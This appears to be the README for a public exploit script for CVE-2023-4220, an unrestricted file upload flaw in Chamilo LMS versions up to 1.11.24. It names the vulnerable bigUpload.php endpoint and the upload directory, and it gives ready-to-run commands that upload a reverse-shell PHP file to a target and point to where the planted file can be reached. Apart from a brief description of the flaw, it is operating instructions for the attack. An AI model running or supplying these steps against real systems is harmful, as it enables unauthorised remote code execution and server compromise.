
This exploit demonstrates an Unrestricted file upload vulnerability in Chamilo-LMS. The vulnerability affects the big file upload functionality located at:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
Affected Versions: Chamilo LMS <= v1.11.24
The vulnerability allows arbitrary files to be uploaded to:
/main/inc/lib/javascript/bigupload/files/
First, make the exploit executable and view usage information:
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
Run the exploit with required parameters:
./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
Verify the uploaded file at:
http://target.test/main/inc/lib/javascript/bigupload/files/
-f: Specify the file to upload-h: Target host URL-p: Port number for connection./CVE-2023-4220.sh -f shell.php -h http://target.test -p 4444
The vulnerability exists in the file upload mechanism of Chamilo LMS that fails to properly validate uploaded files in the big file upload functionality.
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
/main/inc/lib/javascript/bigupload/files/